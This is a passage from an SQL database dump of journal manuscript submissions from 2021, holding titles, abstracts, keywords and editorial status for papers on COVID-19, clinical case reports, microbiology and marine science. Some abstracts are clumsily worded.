understand the re-emergence pattern. This comparison will also help us to understand the crucial drivers of such re-emergence and the important lessons that we need to learn for prevention of any such future outbreaks.','COVID-19; SARS-Coronavirus-2; Pandemic',4076,NULL,'2021-02-16',NULL,'Submitted',2,NULL,'2021-06-05',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7450,8709,45,0,'iphsj-21-7450','CASE REPORT ON PEUTZ JEGHER\'S SYNDROME',NULL,2,0,'','Abstract: Peutz - Jeghers syndrome is an autosomal dominant disease, with an incidence of  1/15,000 characterised by hamartomatous polyps of the gastrointestinal tract, melanin deposits in the lips, buccal mucosa, perioral area and/or facial skin and a family history of PJS. The author reports a case of PJS in a 9 year old child admitted to a super specialty hospital in India, who presented with complaints of recurrent cramping in abdomen, abdominal pain, vomiting, loss of appetite and oral lesions. The USG and CT Scan abdomen revealed multiple polyps in the small intestine. Laprotomy was done, but the child had recurrent admission in hospital due to constipation and vomiting and burning sensation in oral cavity with oral lesions. This report describes about this rare condition.','Key Words: Peutz-Jeghers syndrome, abdominal pain, oral mucosal lesions, intestinal hamartomatous polyps.',456,NULL,'2021-02-16',NULL,'Submitted',2,NULL,'2021-06-08',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7458,8717,91,0,'ijddr-21-7458','THE POTENT PLANT FOR TRADITIONAL MEDICINE SYSTEM - “ACHYRANTHES AASPERA” ',NULL,15,0,'','The medicinal plants are used for treatment of various diseases because of their safety and effectiveness. Achyranthes aspera (Amaranthaceae) is an important medicinal herb found as a weed throughout India. Though almost all of its parts are used in traditional systems of medicines, seeds, roots and shoots are the most important parts which are used medicinally.  Achyranthes aspera L. (Amaranthaceae) has long been used in different systems of medicine in the treatment of cancer, leprosy, asthma, wound, insect and snake bite, dandruff, hepatitis, renal disorders, dermatological disorders, gynecological disorders, gonorrhea, malaria, fever, cough, diabetes, pyorrhea, dysentery, opthalmia, rabies, hysteria, toothache etc. The plant has been used as Antimicrobial, Antiviral and Anticarcinogenic, Spermicidal , Antiparasitic, Anti cancerous, Hypoglycaemic, Hypolipidemic, Wound Healing, Anti-inflammatory, anti-arthritic and Anti-oxidant, Nephroprotective, Cardiac, Anti-depressant activity etc. The present review deals with the enormous amount of scientific research and reports available in different aspects of this plant involving phytochemistry and pharmacology.','Achyranthes aspera, Phytochemistry, medicinal properties, pharmacological activities',1325,NULL,'2021-02-16',NULL,'Submitted',4,NULL,'2021-04-12',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7459,8718,251,0,'ipacm-21-7459','Microbiological quality of non-sterile pharmaceuticals in Egypt. ',NULL,14,0,'','Background: Drug borne infections may arise from non-adherence to strict microbiological quality of pharmaceuticals products, Moreover, presence of exceeding levels of microorganisms in non-sterile pharmaceuticals may lead to change of their organoleptic characteristics and ineffectiveness.\r\nObjectives: To evaluate microbiological quality of commonly used nonsterile pharmaceuticals in Alexandria, Egypt.\r\nDesign: Prospective cross-sectional study.\r\nSetting: High Institute of Public Health, Alexandrian University, Egypt.\r\nMaterials and methods\r\nSample size: 182 nonsterile pharmaceutical products were collected randomly from governmental and non-governmental pharmacies and were analyzed to evaluate their microbiological quality according to USP pharmacopeia. The samples comprised 165 oral preparations and 17 topical preparations. 21 herbal samples were included.\r\nResults: Average microbiological quality of the studied products, where 17.03% and 19.23 % of samples had exceeded the maximum acceptable limit of TAMC and TYMC, respectively. No E. coli was isolated from oral products. None of S. aureus nor P. aeruginosa were isolated from topical products. Bacterial growth was recovered from 19 (10.44%) of the studied 182 samples, four Bacillus spp. had been recovered from topical products; two P. aeruginosa isolates were recovered from tablets and other two were isolated from syrups dosage form. Other were Pseudomonas stutzeri, Stenotrophomonas maltophilia, Acinetobacter Achromobacter denitrificans, Ochrobactrum anthropic and Aeromonas salmonicida.\r\nConclusion: Average microbiological quality of the tested pharmaceuticals used in Alexandria. \r\n','',783,NULL,'2021-02-16',NULL,'Submitted',4,NULL,'2021-03-10',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(7462,8723,85,0,'iphspr-21-7462','IoT , The Future of Health Care',NULL,15,0,'',': In striving to improve outcomes and reduce cost, health care providers have long struggled with several nagging problems – most notably, their interaction with the patient is sporadic and giving them little insight into the daily decision and activities that have a huge impact on patients health. Rapid advances in digital technology are redefining the way we deliver technology to people and make them comfortable with the use of tech function. . Digital technologies are transforming every industry and IoT is one of them.  Internet of things (IoT) – enabled device has made remote monitoring in the healthcare sector possible, unleashing the potential to keep patients safe and healthy, and empowering physicians to deliver superlative. It is accelerating innovation, improving decision making, automating, and speeding up processes, and saving overall costs.\r\n',': Internet of Things, Artificial intelligence, Machine Learning,  Health Care Professional(HCP), UAV(Unmanned Aerial Vehicle), Robotics process automation (RPA)\r\nChronic Obstructive Pulmonary Disease(COPD), Computer-aided design (CAD), Primary Health Centre(PHC),Community Health Centre (CHC) , Anganwadi workers(AAA)',3242,NULL,'2021-02-17',NULL,'Submitted',2,NULL,'2021-04-12',NULL,1,1,'0','            ',0,'','',NULL,0,0,0,NULL,0),(7472,8733,277,0,'ipadm-21-7472','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.',NULL,2,0,'','La aspergilosis invasiva en pacientes con hipercortisolismo es una de las infecciones más graves en este grupo de pacientes. El exceso de esteroides endógenos predispone al hospedero a una disminución de la respuesta inmune innata y adaptativa favoreciendo la invasión tisular fúngica. Presentamos el caso de un hombre diagnosticado de hipercortisolismo dependiente de ACTH que presentó una infección crónica por hongos.\r\nPalabras claves: Aspergilosis pulmonar invasiva, Síndrome de Cushing, inmunosupresión.\r\n','Aspergilosis pulmonar invasiva, Síndrome de Cushing, inmunosupresión.',2805,NULL,'2021-02-17',NULL,'Submitted',1,NULL,'2022-10-11',NULL,1,1,'0','Accept it without changes and publish',0,'','',NULL,0,0,0,NULL,0),(7473,8734,277,0,'ipadm-23-7473',' ECOCARDIOGRAPHIC PROFILE IN FRAGILE AND NON-FRAGILE ELDERLY PEOPLE  ANALYSIS OF THE PREDICTORS OF MORTALITY',NULL,14,3,'','Aging can be understood as a dynamic and progressive process, in which there are morphological, functional, biochemical and psychological changes. The term frailty has been standing out in the aging arena, showing a correlation between this syndrome and negative health outcomes. Cardiovascular dysfunction can therefore play an important role in the development of frailty. The objective of this study is to know, classify and compare the profile of the frail and non-frail elderly, using the analysis of cardiac function, in addition to observing the association of frailty with the cardiac and functional structure using two-dimensional transthoracic echocardiography with doppler. Methods: This is a cross-sectional study carried out by means of a population survey and analysis of medical records of 10 patients admitted to a university hospital ward from January to March 2020, with 4 frail and 6 non-frail elderly. The instrument for identifying elderly people with frailty syndrome was the Frail Scale. To compare the profiles of the frail elderly with the non-frail elderly present in the studied sample, descriptive statistics of the proportion expressed in percentage were calculated for the nominal qualitative variables, while for the continuous quantitative variables whose means did not adequately represent the center of the distribution of values due to strong asymmetry, medians were calculated as a measure of central tendency and interquartile range (IIQ%) as a measure of dispersion around the median. Results: It was observed that there is a difference between all the characteristics of the profile of the frail elderly to the non-frail in the studied sample, all the comparability statistics Q, of Dp have values above 0.2, according to Fergunson\'s criterion adopted for qualification of the measures mentioned, being frail elderly with a tendency to lower ejection fraction and larger size of the left atrium. We conclude that, in comparison with the non-frail elderly, we can see an association with factors of poor prognosis found in the transthoracic echocardiogram and the elderly classified as fragile..','fragility; frail elderly; echocardiography',2805,NULL,'2021-02-17',NULL,'Submitted',15,NULL,'2023-01-24',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7477,8738,86,0,'ipaom-21-7477','Production of recombinant Adenovirus associated COVID-19 vector by using suspension HEK293 cells: Component of SARS CoV-2 vaccine',NULL,19,0,NULL,'Generally, a gene which is inserted directly into a cell does not operate independently. Instead, the transmission of the gene is genetically modified by a biological messenger called a vector, consists of a transgene and a large DNA sequence as a backbone. Since they can deliver the new gene by infecting the cell, such viruses are also used as vectors. The adeno-associated virus (AAV) is a non-enveloped virus that can be designed to deliver DNA to target cells and has attracted considerable interest in the field, especially in experimental therapeutic strategies at the clinical level. For the new age production of COVID-19 vaccine, development of different mammalian cell lines like HEK293 (most reliable growth and prosperity for transfection) and recombinant adenoviral vectors have become the first priority for biopharmaceutical giants and globally approved vaccine manufacturers to scale up their vaccine production. Adenoviruses have a distinctive icosahedral structure, with a protein coat that encapsulates the viral double-stranded DNA genome. The adenovirus genome is relatively compact, making it an attractive option for insertion of foreign DNA. Deletion of the adenovirus E1A gene removes the virus’ ability to replicate. This ability can be restored during propagation in cell culture, for example, by using cells that express the E1A protein (1). Hence, in this mini review, I have shared an overview of the propagation of adenoviral vectors, i.e. recombinant adenovirus SARS CoV-2 vector in HEK-293 cell suspension culture. By evaluating human Ad5 genes (E1A, E1B19K/55K, pTP, DBP, and DNA Pol) and OCT1 for their contributions to adenovirus production, there needs to develop a rapid adenovirus production and amplification (RAPA) line (2).','ells, Culture media, COVID-19, Adenovirus vector',3386,NULL,'2021-02-18',NULL,'Submitted',2,NULL,'2022-04-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7487,8742,251,0,'ipacm-21-7487','The effect of type II toxin-antitoxin systems on methicillin-resistant Staphylococcus aureus persister cell formation and antibiotic tolerance',NULL,14,0,'','Persister cells are defined as a subpopulation of bacteria in a dormant state with the ability to reduce bacterial metabolism. Persisters have been attributed to antibiotic therapy failure as they are involved in antibiotic tolerance. Toxin-antitoxin (TA) systems have been previously suggested as important players in persistence. Therefore, this study aimed at studying the involvement of TA systems in persister cell formation in methicillin-resistant Staphylococcus aureus following antibiotic exposure.  Using TADB and RASTA database, two type II TA systems including MazF/MazE and relE/RelB were predicted in S. aureus. The presence of these TA genes was determined in 5 methicillin-resistant S. aureus isolates and the standard strain S. aureus subsp. aureus N315 using PCR method. To induce persistence, isolates were exposed to lethal doses of ciprofloxacin and the expression of the studied TA system genes was measured after 5 h using Real-time PCR. According to our results, all the studied isolates harbored the TA system genes. S. aureus was highly capable of persister cell formation following exposure to sub-MIC of ciprofloxacin and qRT-PCR showed a significant increase in the expression of the MazEF and RelBE loci, indicating their potential role in antibiotic tolerance. Considering the importance of antibiotic tolerance, further studies on persister cell formation and TA systems involved in this phenomenon are required to efficiently target these systems. ','Staphylococcus aureus, methicillin resistance, persister cells, TA systems, real-time PCR ',786,NULL,'2021-02-18',NULL,'Submitted',4,NULL,'2021-03-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(7490,8745,86,0,'ipaom-21-7490','Vertebrobasilar insufficiency imitating cerebrovasculitis in a patient with systemic lupus erythematosus',NULL,2,0,'','     The vertebrobasilar system covers the vertebral, basilar and posterior cerebral arteries. The vertebral arteries supply blood to the lower parts of the pyramids, the lemniscus medialis, the retroolivar region, the posterior lower part of the cerebellar hemisphere. Ischemic events involving the vertebral arteries occur with cervical-occipital pain due to cessation of blood supply during neck rotation or prolonged neck extension. \r\n	Neurolupus is one of the important sites of lupus disease. Along with epileptiform seizures and psychotic manifestations, which are also criteria for diagnosis, there is a significant variety of symptoms: headache, psychosis, paralysis, paresis, sensory disorders, cortical atrophy, etc.\r\n	We report a patient diagnosed with systemic lupus erythematosus in whom vertebrobasilar insufficiency resembled neurolupus.\r\n	We report a long-standing patient with systemic lupus erythematosus from 2005, admitted to the University Clinic of Rheumatology, “St. George”, Plovdiv due to unbearable headache, accompanied by nausea, vomiting, photophobia, and an episode of hallucinations. During the bed rest the general condition of the patient deteriorated, and despite the use of conventional drugs for the treatment of SLE - high-dose corticosteroids and cytostatics, the condition did not improve. As diagnostic procedures to the usual patient were performed lumbar puncture, CT of the brain MRI of the CNS.\r\n	The results of immunological and imaging studies proved low morbidity of the underlying disease, lack of MRI criteria for cerebrovasculitis, and significant basal artery stenosis. The applied treatment with a high dose of cytostatics did not affect the patient\'s condition. Subjective complaints decreased after the inclusion of vasodilators and statins.\r\n	Conclusions: Significant stenosis of the vertebral artery is due to long-term SLE disease and treatment with high doses of corticosteroids. The patient is subject to planned surgery to correct the stenotic artery.\r\n','Neurolupus, magnetic resonance imaging, vertebrobasilar insufficiency',4108,NULL,'2021-02-18',NULL,'Submitted',4,NULL,'2021-03-11',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7493,498,45,0,'iphsj-21-7493','WILLINGNESS OF HEALTH CARE WORKERS TO RESPOND TO COVID-19 PANDEMIC IN PORT HARCOURT, NIGERIA',NULL,14,0,NULL,'Background: During a pandemic a health personnel may be unwilling to work due to a number of perceived risks. The aim of this study was to identify the various factors that can influence the health workers willingness to discharge their duties during a pandemic and to suggest options for changing the attitude of those who might be unwilling to work to facilitate evidence-based disaster planning. Materials and Methods: A cross-sectional survey targeting healthcare workers in Nigeria was conducted using structured and self-completion questionnaire. Both the printed and an electronic version of the questionnaire were administered to the respondents. Results: Out of 243 respondents, majority 46.5%, (n=113) were within the age group of 30-39 years. The respondents were made up of 46.1% (n=112) males and 53.9 % (n=131) females. A majority of the respondents 77.78% (n=189) agreed that they are bound by the ethics of their profession to attend to the sick despite risk. The majority 53.91% (n= 131) of respondents strongly agreed that they were at risk of infection by going to work during the pandemic. Also, 56.79% (n= 138) of the respondents agreed that covid-19 pandemic have greatly affect their willingness to go to work. Conclusion: The study revealed a strong sense of duty among the HCWs in time of a pandemic even with threat to their lives. It is hoped that the findings of this study will be found useful by the government and relevant agencies to design and implement policies that will focus on and promote HCWs willingness to work during a pandemic like covid-19.','Covid-19 pandemic, Health care workers, Willingness',643,NULL,'2021-02-19',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7494,8748,251,0,'ipacm-21-7494','HIV‐1 tracing method of systemic viremia in vivo using an artificially mutated virus pool',NULL,3,0,'','Aside from blood sampling and invasive lymph node and gut biopsies, the vast majority of purported HIV-1 reservoir tissues cannot be readily sampled in HIV-1 infected persons. \r\nPrevious studies have indicated that infected cells in the lymph nodes, spleen, bone marrow, rectal, and intestinal mucosa, as well as potentially CD16+ monocyte cells in the central nervous system (CNS) and tissue macrophages, are all capable of harbouring HIV-1 provirus that may contribute to viral rebound when combined antiretroviral therapy is ceased (cART). \r\n',' macrophages, monocyte, HIV',3944,NULL,'2021-02-19',NULL,'Submitted',4,NULL,'2021-08-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7497,8490,971,0,'ipaclr-21-7497','treatment of ulcerative colitis, CMV colitis, and co-colitis',NULL,15,0,NULL,'Cytomegalovirus can attack different body parts like colon, salivary gland, eye, lungs, kidneys, etc. The connection between ulcerative colitis and cytomegalovirus has been established for more than half century but still remains a hot topic of discussion. It is still not obvious whether CMV is a contributor or a bystander. Cytomegalovirus can attack colon causing CMV colitis whose symptoms are similar to ulcerative colitis or both colitis may occur together at same time, so it is really difficult and important to recognize and treat as early as possible to prevent the surgery or mortality. UC can be treated with immunosuppressive drugs while CMV colitis is treated with anti-viral drugs but Co-colitis if treated with immunosuppressive drugs can further deteriorate immunity letting virus to worsen its effect and diseases.','Cytomegalovirus, ulcerative colitis, CMV colitis, Co-colitis',4702,NULL,'2021-02-19',NULL,'Submitted',4,NULL,'2021-04-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7501,8755,277,0,'ipadm-21-7501','GENES NEANDERTALES COMO FACTOR PROTECTOR PARA LA COVID 19',NULL,13,1,'COVID 19','La covid 19 es una enfermedad causada por el virus sars-cov-2, la cual se manifiesta de distintas maneras en aquellas personas infectadas, algunos experimentan solo síntomas leves o presentan una forma asintomática de la enfermedad, mientras que, por otro lado, algunas personas se enferman lo suficiente como para requerir hospitalización e inclusive pueden desarrollar insuficiencia respiratoria y morir [1]. Existen diferentes factores, como la edad avanzada o las enfermedades de base, como la obesidad, diabetes mellitus o inmunodeficiencias que generan gran impacto en el curso de la enfermedad que pueden llegar a tener los individuos infectados, pero también hay factores genéticos que juegan un papel importante y algunos de ellos han sido aportados por los neandertales, dándoles a los individuos que los poseen, cierta protección ante la covid 19','COVID 19\r\nNERDENTALES\r\nGENES',2805,NULL,'2021-02-19',NULL,'Submitted',2,NULL,'2021-04-17',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7504,8758,45,0,'iphsj-21-7504','Knowledge, Attitude and Practice and Associated Factors Towards Post-Operative Pain Management Among Nurses Working at St. Paul Hospital Millennium Medical College, Addis Ababa, Ethiopia, 2019.',NULL,14,0,'','Background: Patients’ recovery after surgery is one of the most important health processes in hospital healthcare. Effective pain management requires precise knowledge; attitude and competent assessment skills on practice.  There is limited evidence on nurses’ knowledge, attitude and practice of post-operative pain management (POPM) in Ethiopia. The present study aimed to assess Knowledge, Attitudes and Practices of Nurses Regarding POPM at St. Paul’s Hospital Addis Ababa, Ethiopia. \r\nObjective: To assess factors associated with knowledge, attitude and practice on postoperative pain management practice among nurses at St. Paul Hospital Millennium Medical College. \r\nMethodology: Descriptive cross-sectional survey will be used. Study Area: St. Paul referral hospital. Source population: All surgical and operation room (OR) nurses of St. Paul’s hospital. Study Period is from April- July 2019. \r\nResult: The result of this study shows that generally nurses are knowledgeable in POPM. The result reveals that 23(14%) of surgical nurses have in adequate knowledge and 146 (86 %) have adequate knowledge regarding POPM. in attitude study nurses showed negative attitude towards the questioners they were given. Nurses tend to have poor practice regarding POPM according to this study.  \r\nConclusion: The results also show that the nurses have negative attitudes regarding patients experiencing pain and the use of placebo. The study found that the practices of nurses related to POPM pain are at low level. As the nurses are the most important parts in the multidisciplinary approach in pain management, their knowledge and attitude make a big difference on practice POPM. So, there is a need for regular in-service education on pop management according to the recommendation of standard.\r\n\r\n','Keywords: Knowledge, Attitude, Practice, Post-Operative, Pain Management, Nurses ',641,NULL,'2021-02-20',NULL,'Submitted',4,NULL,'2021-06-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(7511,8765,45,0,'iphsj-21-7511','Designing a multi-epitope vaccine against Human Cytomegalovirus: an immunoinformatics approach',NULL,14,0,'','“Cytomegalovirus (CMV) is identified as the most frequent inborn viral contagion in people and an important matter of morbidity and destruction in immunocompromised owners”. Cytomegalovirus is a typical herpes virus. Also distinguished as HCMV or human herpesvirus 5 (HHV-5). Once tainted, the human body holds the virus for life. CMV settles from person to person over body liquids, like blood, saliva, urine, semen and breast milk.  “The Centers for Disease Control and Prevention organization” (CDC) predicted that around 50% of grown-ups in the United States have incurred the virus by forty years old. It afflicts men and women fairly, at any life and notwithstanding of ethnicity.\r\nFever, wetness, tiredness, restlessness, sore throat, enlarged glands, muscle strain, low desire and loss of weight are the obvious indications. But recurring and fundamental CMV have more dangerous symptoms and critical conditions like as jaundice, fever, pneumonia, cold, spots under the surface body, Purple color surface stains, a blemish, or all, developed liver, kidney, large spleen, low birth weight, breakdowns etc. Notwithstanding these debilitating maladies, no prescription to prevent them improvement or treatment is open till now.\r\nThat’s why we proposed to express a multi-epitope vaccine upon CMV by employing an Immuno bioinformatics road. For this desire, we practised the Human CMV spike protein to ascertain the dominant. After study of the specification of these epitopes we selected only six epitopes to create the desire vaccine against the human Cytomegalovirus. All features of a perfect vaccine was present of our designed vaccine such as non-toxin, non-allergenic and highly soluble etc. \r\nMoreover, our created vaccine showed the excellent score in all physiochemical and in life time in the host cell.\r\n','HCMV, Multiepitope vaccine, Immunoinformatics, Dynamic simulation',4076,NULL,'2021-02-21',NULL,'Submitted',2,NULL,'2021-03-22',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7516,8770,971,0,'ipaclr-21-7516','Talaromyces amestolkiae uses organic phosphate sources to precipitate uranium ',NULL,14,1,'Immunoprofiling','Abstract\r\nFungi have received particular attention in the world when we talk about alternatives in the bioremediation of contaminated locals with heavy metals. Enzymes produced by filamentous fungi, such as phosphatases, can precipitate heavy metals ions in contaminated environments forming metals phosphates (insoluble). Thus, this research aimed to analyze fungi in the uranium biomineralization. For this purpose, Gongronella butleri, Penicillium piscarium, Rhodotorula sinensis and Talaromyces amestolkiae were analyzed, phytate and glycerol 2-phosphate were used as phosphate source in culture media with pH 3.5 and 5.5, with and without uranium ions. After four weeks of growth, all the fungi tested were able to produce high concentrations of phosphates in the media; among them, T. amestolkiae was the best phosphate producer using phytate as an organic source. During the fungal growth, there was no change in pH in the culture medium. After three weeks of T. amestolkiae growth in medium supplemented with phytate, there was a reduction between 20 and 30% in the uranium concentrations, with high precipitation of uranium and phosphate on the fungal biomass. The fungi analyzed in this research can use the phytic acid present in the medium and produce high concentrations of phosphate, which, in the environment, can assist in the processes of biomineralization of heavy metals, even in acidic environments. Such metabolic capabilities of fungi can be useful in decontaminating uranium-contaminated environments.\r\n','Talaromyces amestolkiae; biosorption; biomineralization; uranium; fungi',3249,NULL,'2021-02-22',NULL,'Submitted',4,NULL,'2021-02-23',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7517,8772,86,0,'ipaom-21-7517','THE RISE AND IMPACT OF COVID-19 IN INDIA',NULL,5,0,NULL,'Covid-19 is a contagious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) .The diseases has since spread worldwide, leading to an ongoing pandemic. Symptoms of COVID-19 are variable, yet frequently incorporate fever, hack, exhaustion, breathing challenges, and loss of smell and taste. Side effects start one to fourteen days after openness to the infection. Those people who develop noticeable symptoms, most (81%) develop mild to moderate symptoms (up to mild pneumonia), while (14%) develop severe symptoms (dyspnea, hypoxia, or more than 50% lung involvement on imaging), and (5%) suffer critical symptoms (respiratory failure, shock, or multi-organ dysfunction). At any rate 33% individuals who are tainted with the infection stay asymptomatic and don\'t create observable indications anytime, yet they actually can spread the illness. A few people keep on encountering a scope of impacts known as long COVID for quite a long time after recuperation, and harm to organs has been noticed. Studies are underway to further investigate the long-term effects of the disease.','COVID-19 , Immune System, Infectious Diseases',3386,NULL,'2021-02-22',NULL,'Submitted',2,NULL,'2022-05-04',NULL,1,1,'0','Dear authors,\r\nan overall good written paper. Yet,several suggestions are provided as effort to provide direction (perspective) to the author and improve further the quality of the manuscript. \r\nThus, please revise the manuscript accordingly.\r\nBest Regards, \r\nThe handling editor\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(7518,8773,86,0,'ipaom-21-7518','COVID-19: Treatment and Diagnosis',NULL,5,0,NULL,'Covid-19 may be a communicable disease caused by severe acute metabolism syndrome coronavirus(SARS-CoV) .The diseases has since unfold worldwide, resulting in associate in progress pandemic. Symptoms of COVID-19 are variable; however oftentimes incorporate fever, hack, exhaustion, respiration challenges, and loss of smell and style. Aspect effects begin one to 14 days once openness to the infection.','Covid-19 , Nasopharyngeal Swab, Infectious Diseases',3386,NULL,'2021-02-22',NULL,'Submitted',2,NULL,'2022-05-04',NULL,1,1,'0','please send the revised paper',0,NULL,NULL,NULL,0,0,0,NULL,0),(7519,7214,45,0,'iphsj-21-7519','Comparison of the Analgesic effect of Intramuscular Pethidine and intramuscular morphine on an Orthopedic population in a Caribbean Territory',NULL,14,0,NULL,'Introduction: Comparison of the analgesic effect of Intramuscular Pethidine and Intramuscular Morphine on an Orthopedic Population.\r\nSettings and Design: 1) Single Blinded Randomized Controlled study: Patients were divided into Morphine group or Pethidine group 2) Patient Satisfaction survey was administered to patients at the end of stay \r\nMaterial and Methods: 1) Visual Analogue Scores (VAS) were taken at eight hourly intervals for three consecutive days or until the day of discharge. Incidence of opioid related complications was noted 2) A patient satisfaction survey was administered at the end of stay \r\nStatistical Analysis: Average VAS during movement on day one during the 8am to 4pm period was calculated for both the morphine group and pethidine group. The percentage decrease in VAS was calculated for morphine vs. pethidine group on movement on Day 1. Pearson’s correlation was used to assess the relationship between opioid, side effects and overall patient satisfaction. T-test was used to evaluate the relationship between morphine, pethidine and twenty-four-hour pain relief.  A one-way ANOVA test was used to evaluate the statistical significance between the morphine and the pethidine group and patient satisfaction \r\nResults: The morphine group as compared with the pethidine group experienced an 18.5% decrease in Visual Analogue Score for pain on movement on day 1 (8am-4pm period). The morphine group was associated more drowsiness and prolonged time to first bowel action compared to the pethidine group. Only 1.4% (1) of patients experienced desaturation during the study which occurred in the morphine group. Overall, opioids were associated with minimal side effects and were generally safe to use. Patients who underwent regional anaesthesia used more morphine equivalents compared to those undergoing general anaesthesia.\r\nThe morphine group was associated with overall increased patient satisfaction when compared to the Pethidine group.\r\nConclusion: The study demonstrated a notable 18.5% decrease in VAS on movement with the morphine group as compared to pethidine group. Statistical significance was placed at 15%. Opioids were found to have a limited adverse side effect profile, with drowsiness and time to first bowel action being the most predominant. Only one patient representing 1.4% of the population had an episode of desaturation (Sp02 < 90%). Due to the minimal side effect profile opioids should be considered safe to use.','Intramuscular Pethidine;intramuscular morphine; Orthopedic population; Caribbean Territory',4076,NULL,'2021-02-22',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7520,8774,975,0,'ipjbs-21-7520','The Impact of Covid-19 Pandemic on Academic and Professional Development Programmes Organized by the Radiographers Registration Board of Nigeria',NULL,14,0,'','Background: The policy response to subdue the spread of Covid-19 initiated by the Radiographers Registration Board of Nigeria (RRBN), has serious impact on its academic programmes. This study aimed at assessing the perception of the impact of covid-19 pandemic on the academic progress of participants of the RRBN programmes. Materials and Method: This was a questionnaire-based descriptive survey. We employed both hardcopy and electronic version of the questionnaire in this study. The completed hardcopy questionnaires were retrieved immediately while the responses from the electronic version were retrieved electronically. The data obtained were analyzed using descriptive statistics. Results: Majority 82.35% (n=98) of the respondents perceived that Covid-19 pandemic affected their academic advancement due to the suspension of RRBN programmes. Majority 88.24% (n=105) of the respondents agreed that they could have gotten a new job if they had completed the programme. Majority 43.70% (n=52) of the respondents were mostly affected during their coursework. The respondents 100% (n=119) agreed that the board should reduce the cost of the programme at this period. A larger number 86.55% (n =103) of the respondents perceived Covid-19 pandemic to affect their normal work place duties. All the respondents 100% (n=119) said that RRBN had earlier fixed their programme activities, which were suddenly cancelled due to the pandemic. Conclusion: This study has shown the negative impact of Covid-19 pandemic on the academic programmes of the RRBN, which include undue delay in completion of the programmes with concomitant increase in expenses and loss of job opportunities. ','Covid-19 pandemic, Radiographer’s programmes, Radiographers Registration Board of Nigeria',3460,NULL,'2021-02-22',NULL,'Submitted',2,NULL,'2021-03-19',NULL,1,1,'0','Publish it',0,'','',NULL,0,0,0,NULL,0),(7537,8792,85,0,'iphspr-21-7537','International Conference on Infectious Diseases',NULL,4,1,'pencis','International Conference on Infectious Diseases, France organized by the Pencis group. Pencis takes the privilege to invite speakers, participants, students, delegates, and exhibitors from across the globe to its International Conference on Infectious Diseases to be held in the beautiful city of Paris, France.  International Conference on Infectious Diseases is a discussion of common healthcare-related issues and additionally trade information, share proof, thoughts, and insight into advanced developments in the healthcare service system. The focal point of Infectious Conferences 2020 is to bring forward discoveries, examine the system and strategic issues, assemble and keep forth basic systems between analysts, professionals, arrangement producers, and agents of healthcare Associations. Essential Infectious 2021 Conferences put emphasis on its theme \"Innovation through Information on Primary Healthcare\" and intends to provide an impetus to health practice, administration, and training in connection to health inconsistencies and conjugation of other different points. Patients with access to a general essential care doctor have brought down available medicinal services cost than those without one, and Health results been better. Infectious 2021 Conferences is an opportunity to interact with specialists and to learn the latest healthcare information. The conference will be organized to bring together practitioners, administrators, policymakers, politicians, and researchers within the field of primary health care and public health.','healthcare\r\nmedical conference\r\ninfectious diseases',3404,NULL,'2021-02-23',NULL,'Submitted',4,NULL,'2021-03-29',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(7544,8801,639,0,'ipfs-21-7544','Commentary on “Rapture facilitates inexpensive and high-throughput parent-based tagging in salmonids',NULL,3,0,NULL,'Accurate methods for tracking individuals are crucial to the success of fisheries and aquaculture management. Management of migratory salmonid populations, which are important for the health of many economies, ecosystems, and indigenous cultures, is particularly dependent on data gathered from tagged fish. However, the physical tagging methods currently used have many challenges including cost, variable marker retention, and information limited to tagged individuals.','Salmonoid, Rapture, Oncorhynchus tshawytscha',1770,NULL,'2021-02-24',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7546,8803,639,0,'ipfs-21-7546','Winter Phytoplankton Blooms Northwest of the Luzon Island in the South China Sea: A Review',NULL,15,0,NULL,'Phytoplankton as a key element in the marine food chain plays a vital role in marine ecosystems. In the South China Sea, phytoplankton blooms often occur northwest of Luzon Island usually during winter, which may have an important impact on primary productivity and regional biological carbon pump. Located in the East Asian monsoon region, the region northwest of Luzon Island is affected by wind stress, Kuroshio and topography with complex dynamic environment. With comprehensive analysis of domestic and international recent studies on phytoplankton blooms in the region northwest of Luzon Island, it is in order to explore the significant impacts of the environmental conditions including wind, Cagayan river discharge, Kuroshio intrusion, upwelling and currents on the spatio-temporal distribution of phytoplankton blooms. It is concluded that the winter phytoplankton bloom is likely due to upwelling and turbulent mixing generated by the Kuroshio interaction with the topography of the Luzon Island. The Cagayan river discharge also contributes to this occurrence, which is the largest river in the Philippines. But the impact of the river is limited to a few kilometers from its mouth. Moreover, the northward flow west of Luzon Island causes the center of the phytoplankton bloom to move northward. This review outlines the impacts of environmental elements on winter phytoplankton blooms northwest of the Luzon Island, and explores potential formation mechanisms of the blooms. Its spatio-temperal distribution can reveal the changes of marine ecosystem indirectly and is of great significance to marine scientific research. The researches on winter phytoplankton blooms also play a guiding role in red tide disaster prevention, marine environmental protection research, fisheries development, to some degree. The more detailed knowledge of the dynamic mechanisms of phytoplankton bloom phenomena contributes to better understanding of the complex marine biogeochemical process near the Luzon Strait.','winter phytoplankton blooms, upwelling, Ekman transport, Kuroshio intrusion, Luzon 